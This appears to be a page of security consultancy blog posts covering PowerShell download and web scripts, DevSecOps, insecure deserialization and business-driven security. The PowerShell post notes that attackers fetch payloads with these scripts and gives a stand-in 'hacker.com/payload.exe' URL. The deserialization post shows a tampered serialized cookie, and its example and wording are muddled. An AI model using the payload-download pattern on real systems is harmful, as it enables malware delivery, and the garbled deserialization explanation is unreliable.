Saturday 30 June 2018

How to use PowerShell as Handy like Shell script?


HOW TO USE POWERSHELL AS HANDY LIKE SHELL SCRIPT?


PowerShell is a mixture of a command line, a functional programming language, and an object-oriented programming language. PowerShell is also called as explorer’s scripting language. With built-in help, command discovery, and with access to much of the .NET Framework, it is possible to dig down through the layers. In this blog, we are going to discuss internet related tasks using PowerShell.
Since Shell script giving more freedom to Linux admins then why not PowerShell can provide it for windows admins. For example, if you are a consultant and some of the things you need to do regularly is to connect into clients Wi-Fi networks. This tasks can be once in a month, or sometimes it will be a daily task as well. Opening the internet explorer and navigating to the page, typing the credentials and submitting the request will take much time. There is some easy way to do your daily routine directly with simple PowerShell scripting. Here I am going to share some sample scripts to automate your routine tasks. My job is also to bring your notice as to how such options are used by potential attackers bypass your security implementations.
Let’s get started…
CONTENTS
  1. Downloading Files
    1. WebClient with Proxy Authentication
    2. Downloading with BitsTransfer
      1. Synchronously method
      2. Asynchronously method
    3. Download Web Page Content
  2. Search and View Any Videos
  3. Refreshing Web Pages
  4. HTML Encoding and Decoding
  5. Sending POST Data via PowerShell

DOWNLOADING FILES

To automatically download files for internet, we can use .NET WebClient object. This script shares the internet connection settings with IE explorer.
$url = ‘http://www.briskinfosec.com/sample/example.pdf’

            $object = New-Object Net.WebClient

            $localPath = “$home\Documents\example.pdf”

            $object.DownloadFile($url, $localPath)

            explorer.exe “/SELECT,$localPath”

Invoke-Item -Path $localPath
Most attackers use this script to auto download their payloads. Powershell has ability to bypass antivirus as-well.
The attacker will insert his/her server addresses where the payload is placed in the URL section
$url = ‘http://www.hacker.com/payload.exe’   

WEBCLIENT WITH PROXY AUTHENTICATION

If you want to use internet proxy, to access the internet with web client object, we can use a proxy in the script with default credentials to it.
function Get-WebClient

{

            $wc = New-Object Net.WebClient

            $wc.UseDefaultCredentials = $true

            $wc.Proxy.Credentials = $wc.Credentials

            $wc

}

$url = ‘http://www.briskinfosec.com/sample/example.pdf’

            $object = Get-WebClient

            $localPath = “$home\Documents\example.pdf”

            $object.DownloadFile($url, $localPath)

            explorer.exe “/SELECT,$localPath”

Invoke-Item -Path $localPath

 DOWNLOADING WITH BITSTRANSFER

 BITS technology is used to download updates for windows. It can download large files, but not as fast. When the restart intercepts the download, once the system boots up it starts to download where it is left off. BITS can use to download files synchronously (while you wait) and asynchronously (in the background).

   SYNCHRONOUSLY METHOD:

 $url = ‘http://www.briskinfosec.com/sample/example.pdf’

$target = “$HOME\Documents\example.pdf”

            Import-Module BitsTransfer

            Start-BitsTransfer -Source $url -Destination $target

            explorer.exe “/SELECT,$target”
Invoke-Item -Path $target

   ASYNCHRONOUSLY METHOD:

 $url = ‘http://powershell.com/cs/media/p/31297/download.aspx’

$target = “$HOME\Documents\PowerShell_Using_Registry.pdf”

            Import-Module BitsTransfer

            Start-BitsTransfer -Source $url -Destination $target -DisplayName             BriskDownload -Asynchronous
Once it is finished run this command to finalize the download
Get-BitsTransfer -Name ‘BriskDownload’ | Complete-BitsTransfer

  DOWNLOAD WEB PAGE CONTENT

            This script will bring the new web page content using the WebClient object.
$url = ‘http://briskinfosec.com/powershell/
            $wc = New-Object System.Net.WebClient

            $wc.DownloadString($url)

 SEARCH AND VIEW ANY VIDEOS

PowerShell has a fantastic feature that let you search for YouTube videos for the given keyword the user mentioned and offers those videos.
In this script, we are searching for “PowerShell tutorial” from YouTube. The list opens in a grid viewed window, so you can use the full-text search at the top or sort columns until you find the video you want to give a try.
Next, click the video to select it, and then click “OK” in the lower-right corner of the grid.
PowerShell will launch your web browser and play the video. Awesome!
$keyword = “PowerShell tutorial”

            Invoke-RestMethod -Uri “https://gdata.youtube.com/feeds/api/videos?v=2&q=$($keyword.Replace(‘ ‘,’+’))” |

            Select-Object -Property Title, @{N=’Author’;E={$_.Author.Name}},             @{N=’Link’;E={$_.Content.src}}, @{N=’Updated’;E={[DateTime]$_.Updated}} | Sort-Object -Property Updated -Descending | 
Out-GridView -Title “Select your ‘$Keyword’ video, then click OK to view.” -PassThru |

ForEach-Object { Start-Process $_.Link }

  REFRESHING WEB PAGES

Just think, we have opened some web pages in our IE explorer and we need the page to display the current information like cricket score and share market readings. Instead of manually reloading the pages, we can use this script to do it automatically for us.
Note: it will work only on Internet Explorer, and it needs to run from PowerShell console, not from ISE.
So you will be IMPORT-MODULE example.ps1 and invoke the script
function Refresh-WebPages {

param(

            $interval = 5  # this will refresh every five seconds

)

            “Refreshing IE Windows every $interval seconds.”

            “Press any key to stop.”

            $shell = New-Object -ComObject Shell.Application

do {

            ‘Refreshing ALL HTML’

            $shell.Windows() |

            Where-Object { $_.Document.url } |

            ForEach-Object { $_.Refresh() }

            Start-Sleep -Seconds $interval

} until ( [System.Console]::KeyAvailable )

            [System.Console]::ReadKey($true) | Out-Null

}

   HTML ENCODING AND DECODING

This script is used to encode and decode the HTML content to special characters
[System.Web.HttpUtility]::HTMLEncode(‘This is a test & a good way to encode. ÄÖÜ’)

[System.Web.HttpUtility]::HTMLDecode(‘This is a test & a good way to encode.ÄÖÜ’)

OUTPUT:

 PS> [System.Web.HttpUtility]::HTMLEncode(‘This is a test & a good way to encode. ÄÖÜ’)

This is a test & a good way to encode. ÄÖÜ

PS> [System.Web.HttpUtility]::HTMLDecode(‘This is a test & a good way to encode. ÄÖÜ’)

This is a test & a good way to encode. ÄÖÜ

SENDING POST DATA VIA POWERSHELL

Most of the time feedback or any votes on web pages are sent back via POST requests. You can send that informaton through PowerShell. We need to create a simple POST request with target URL and  with appropriate  parameter  then send it
$url = “http://anyurl.com”

            $parameters = “voting=true&poll_id=5” # your POST parameters

            $http_request = New-Object -ComObject Msxml2.XMLHTTP

            $http_request.Open(‘POST’, $url, $false)

            $http_request.SetRequestHeader(“Content-type”, “application/x-www-form-urlencoded”)

            $http_request.SetRequestHeader(“Content-length”, $parameters.length)

            $http_request.SetRequestHeader(“Connection”, “close”)

            $http_request.Send($parameters)

            $http_request.StatusText 

CONCLUSION

In this blog we have discussed about the internet related task which is used by the system admins where they can save their time by executing the previous discussed scripts.  There are many more scripts available to automate every routine process on your daily basis.
Briskinfosec offers periodic system hardening solutions to bring down the risk level in the organization, our constructive and customized solution will help organization from serious threats against system hardening.

AUTHOR

Venkatesh C.S
SecurityEngineer
Briskinfosec Technology and Consulting PVT LTD
Find  me @ https://www.linkedin.com/in/venkatesh-c-s-44174711b/

Tuesday 26 June 2018

DevSecOps in the age of the cloud



DEVSECOPS IN THE AGE OF THE CLOUD


DEVOPS’S SECURITY:

In DevOps, the application is often releasing new features and functionalities in every release for the business needs and deployed in the cloud for flexibility, service delivery, but often they are skipping the information security to complete the organisation’s on-time release. This blog explores the overview of DevOps Vs DevSecOps and how security professionals and developers need to be ready before integrating DevSecOps.

CONTENT:

  1. DevOps vs DevSecOps
  2. Why we need to move DevSecOps
  3. Integrating DevSecOps
    1. Are you a security professional or developer in DevSecOps
    2. Blending tools and technologies
    3. Developers can make a better world
  4. Conclusion

DEVOPS VS DEVSECOPS:

DevOps is the model which is in the background process to help the organization to archive the continuous versions. DevOps (Development and operations) is a development practice model which allows organisations to increase the speed of producing products and services. It is getting more famous and implementing from start-up to enterprise in different industries.  At the same time, DevOps has some drawback in the process which may have insecure codes and bugs in the production release these bugs can lead to serious security vulnerabilities which can cause data loss or data breaches. Solution to combine the information security not to slow down the business and not getting affected by vulnerabilities then information security should be integrated into development phrase with security controls, so that’s how DevSecOps is introduced. DecSecOps is a model which collaborate information security and DevOps.
DevSecOps is similar to DevOps, but security will be in place in every phase of the development. DevSecOps can be a solution for Big cloud environments like Google, Facebook and Netflix etc. Each day they are updating thousands and thousands of lines in production which can’t be tested after the deployment on each release, and it needs to be addressed in DevOps itself.  In DevOps, fixing the vulnerabilities will take a longer time than DevSecOps model.

WHY WE NEED TO MOVE DEVSECOPS:

The following are the main reasons which companies are moving to DevSecOps :
  • Keep your code secure in every production release.
  • Identification & Fixing the vulnerabilities is fast in DevSecOps.
  • Integrating Security with automation tools like SAST in development will increase the continuous delivery and security.

INTEGRATING DEVSECOPS:

Here are some Areas where security peoples and developers need to get ready for DevSecOps:
  1. Are you a security professional or developer in DevSecOps
  2. Integrating tools and technologies
  3. Developers can make a better world

ARE YOU A SECURITY PROFESSIONAL OR DEVELOPER IN DEVSECOPS:

On DecSecOps both security professional and developer are core components, and their contribution to security is essential. The security team should contribute to development by bringing series of tests and quality conditions without slowing the process. Security parameters and metrics are incorporated into development then the chance for security to be involved in the procedures for DevOps is much higher. Security teams should work with QA and development to define specific parameters and critical qualifiers that need to be addressed before any code can be promoted. Also, security team should integrate automated tools in testing and development environment to discover and fix the flaws as fast as possible. As a developer, they have to aware of secure code review and basic prevention code practices for common vulnerabilities. So radically ideas on DevSecOps is “everyone is responsible for securing the product”.

INTEGRATING TOOLS AND TECHNOLOGIES:

Automating security testing in DevSecOps requires incorporating testing within development and processes. Finding code related vulnerabilities with secure code review and adding plugins like IDE that finds instant insights and remediation guidance as problems are introduced. Consider a combination of testing methodologies like OWASP, technologies, including static, dynamic, and software composition analysis  for example you can you some testing tools like burpsuite, ZAP proxy tools with Jira or any other piping tools to combine testers and developers and also ensure your policies align to the security tools/solutions with your developers are using to connect security tools in development environment.

DEVELOPERS CAN MAKE A BETTER WORLD :

In Organization, if there a lack of experienced or qualified security professionals then developers have to take more responsibility for security. In that situation developers have to be trained in security, developers can make significant improvements in security when given proper training on remediation guidance and handling secure code review tools that allow them to check their code against vulnerabilities. You can turn a developer who shows more interest in security can make them into security professional, and they can improve their secure coding practices and also security testing skills.

CONCLUSION:

In the age of cloud, collaborating DevSecOps requires a lot of automation and integrating security in DevOps. Areas discussed in this blogs can be an excellent first step to Adopting these implements. Implementation will require subtle changes as the various concepts are needed to be applied within the organisation and frameworks need to be replaced with new Practices.

AUTHOR

Dinesh C
Security Engineer
Briskinfosec Technology And Consulting Pvt Ltd.,
follow me @https://www.linkedin.com/in/dineshdinz/

Monday 18 June 2018

INTRODUCTION TO INSECURE DESERIALIZATION


INTRODUCTION TO INSECURE DESERIALIZATION 


Insecure deserialization is an attack, enclosed in OWASP top 10 attacks in 8th place in web applications. It occurs when an untrusted data file to abuse the overall architecture of the application. It could lead the attacker to do Remote Code Execution (RCE), DOS, and DDOS attacks.  Insecure Deserialization vulnerability was first discovered by a company called Foxglove security in the year 2015.

CONTENTS:

  1. Why is insecure deserialization updated on owasp top 10 2017?
  2. Serialization
  3. Deserialization
  4. Who is vulnerable to insecure deserialization?
  5. Examples for insecure deserialization
  6. Prevention for insecure deserialization
  7. Protect your concern from insecure deserialization





WHY IS INSECURE DESERIALIZATION UPDATED ON OWASP TOP 10 2017?

The use of Java-based object serialization methods is evolving in recent years. These serializing objects and its functions have led to this insecure deserialization vulnerability exploited on a large scale within few months. This vulnerability can use in various popular software like WebSphere, WebLogic, JBoss and Jenkins. The rise in the exploitation of this vulnerability has created a requirement among multiple cybersecurity companies to research this specific vulnerability. Researchers wrote Lot of whitepapers, articles and blogs about this vulnerability. This is one of the primary reasons why Insecure Deserialization in updated in Owasp Top 10 2017 vulnerability list

SERIALIZATION

Serialization refers to a process of converting an object into a format which can be persisted to disk (for instance, spared to a document or a data store), sent through streams (for instance stdin, stdout), or transmitted over a system. The arrangement, in which a protest is serialized into double or organised content (for instance XML, JSON YAML). JSON and XML are two of the most usually utilised serialization designs inside web applications.

DESERIALIZATION

Deserialization is the other hand of serialization, that means the streams or systems can be converted into an object format. In this attack, the attacker could lead to execute the Remote Code Execution (RCE) and Denial of service attack (DOS) and to bypass the authentication process.
{abc: [1, 4, 7, 10], abc: "baz"}
 serializing a string using a value
'{"abc":[1,4,7,10],"abc":"baz"}'
 The receiver can de-serialize this string and it checks the original file (object). {abc: [1, 4, 7, 10], abc: "baz"}.

WHO IS VULNERABLE TO INSECURE DESERIALIZATION?

Anyone who performs the deserialization process in the code those products must be vulnerable like apache tomcat, WordPress, Jira. , Etc. Applications which are written in this language like PHP, Python, Ruby, Java and some other languages also could lead to insecure deserialization vulnerabilities.

EXAMPLES FOR INSECURE DESERIALIZATION

Example:
A PHP type uses PHP object serialization to save a "super" cookie, containing the user's credentials like username, user ID, and password hashing.
 a:3:{i:0;i:156;i:1;s:7:"Sam";i:2;s:4:"admin";i:3;s:32:"b5a1b3bea65fe0e05022f8f3c88bc761";}
An attacker changes the serialized object to give themselves admin privileges: a:3:{i:0;i:1;i:1;s:5:"Tom";i:2;s:5:"user";i:3;s:32:"b5a1b3bea65fe0e05022f8f3c88bc761";}

PREVENTION FOR INSECURE DESERIALIZATION

  • The application should not accept serialized objects from untrusted sources to use serialization mediums that only permit primitive data types.
  • Implement Integrity checks on serialized objects to prevent malicious object creation or data tampering.
  • Enforcing strict type constraints during deserialization of user inputs before object creation is also useful to prevent insecure deserialization.
  • Isolation of running code that deserialises the objects (user data) in high privilege environment will help to avoid insecure deserialization.
  • Log deserialization exceptions and failures, such as where the incoming type is not the expected type, or the deserialization throws exceptions.
  • Restricting or monitoring incoming and outgoing network connectivity from containers or servers that deserialize.
  • Monitoring deserialization, alerting if a user deserializes continuously.

PROTECT YOUR CONCERN FROM INSECURE DESERIALIZATION

The deserialization data vulnerability and about the mitigation to block this issue, and it is not possible an attacker could only send a serialized object of any class because the server will be unable to load the class. Make sure the developers need the security awareness training.

  REFERENCES

AUTHOR

Aravindan S
Security Engineer
Briskinfosec Technology and Consulting  Pvt Ltd.,
https://www.linkedin.com/in/aravindhan-s-90b98787/

Saturday 2 June 2018

From Tech to Business-Driven Security


FROM TECH TO BUSINESS-DRIVEN SECURITY


INTRODUCTION:

In today’s digital world, IT security strategy must be transformed into Business-driven security strategy to prevent failure of vital digital transformation projects which will become irrelevant to the business model of an organisation.

TRANSFORMATION TO BUSINESS-DRIVEN SECURITY:

Information Security Practitioners like security analyst and consultants of an organisation should look at the information security from a business perspective to enforce proper risk management so that it will be useful to prevent the data loss or assets that are most important to the organisation during the time of a threat.
For enforcing the business-driven model of Information Security in an organisation, it is essential to understand and assess the risks for the organisation in real time and mitigating the risk by determining the incidents conclusively by a skilled incident management professional team. In short, it is critical to have a “Risk Management in an Organization” than a regular threat management team.
To create a compelling business-driven security model, a business organisation must identify all of its assets, where they are placed, which assets are more vulnerable to threats and attacks etc., which will help them to categorize their holdings for the useful incident and risk management and mitigation of threats.

WHY BUSINESS DRIVEN SECURITY MODEL : ITS IMPORTANCE :

The need for business-driven security arises, mainly due to the evolving threats from various aspects of technology which includes the latest trends like the Internet of Things (IoT), Artificial Intelligence (AI), Machine Learning etc., As these new technologies evolve, the attack vector for these technologies also evolves every day.
For example, IoT devices may have vulnerabilities in firmware level and application level, which an attacker can exploit to take over the IoT device’s control, which gradually increases the threat for the owning organisation.
Another primary reason for the business-driven security model is “The Gap of Grief”. The Gap of Grief is a concept used to refer to void in understanding of how the security vulnerabilities can cause financial and reputation loss problems in an organisation. A significant part of this problem comes with the fact that the CISOs and other information security staffs in general like Penetration testers and consultants failing to translate the challenges and risks in assessing a threat. In cyber-security terms, the problems created by not effectively being able to report security issues to the appropriate people at the right time causes the gap of grief.
Let’s consider an example scenario: The CEO tours television and radio studios in a bid to dispel negative press and to assure the public that their data is safe with the company. This often backfires when it becomes apparent that the CEO has very little knowledge of their company’s cyber-security operations, let alone how the breach occurred or how many customers were affected. This causes problems to the organisation, and the gap occurs.

ASPECTS OF BUSINESS DRIVEN MODEL:

The key element of the business-driven security model is to focus more on detection and assessing the threats then protection as it is a complicated job to carry out. Then there should be a valid defence strategy specifically for all the assets and their vulnerabilities. This defence strategy should have a definite cost to benefit values assigned.
Another aspect of the business-driven security model is, it should include the required and skilled people,  process and technology (Tools and services) for carrying out risk management process.
Organizations need to find out the security gaps between the current security level of their application and infrastructure and where they want to be for an ideal security level for effective risk management. This gap analysis process is one of the key aspects to create a business-driven security model for the organisation. This gap analysis process helps out the security staffs to work on patching the gaps and vulnerabilities effectively.
Management should come up with a proper rank level for all their assets and applications based on the key values of assets. Then it will be easy for the security people to carry out gap analysis on a regular basis based on the risk ratings of assets and applications.

CONCLUSION:

The business-driven security model is more useful for an organisation, not just regarding cost but also regarding proper assessment of threats and risk. If implemented incorrect way, it will become an essential security model to help security people mitigate the threats and security breaches.Through a business-driven approach, BriskInfosec productively orchestrates business driven security with more agile and secure way. Since it relies heavily on the risk levels for an organisation, it will help any organisation to save a lot of money and time which they were spending on the incident and threat management.

Just Talk and Hire us to create Business Driven security solutions for your orgnization

REFERENCES:


AUTHOR :

Dawood Ansar
Security Engineer
Briskinfosec Technology and Consulting Pvt Ltd
Find me @https://www.linkedin.com/in/dawood-ansar-29403213b/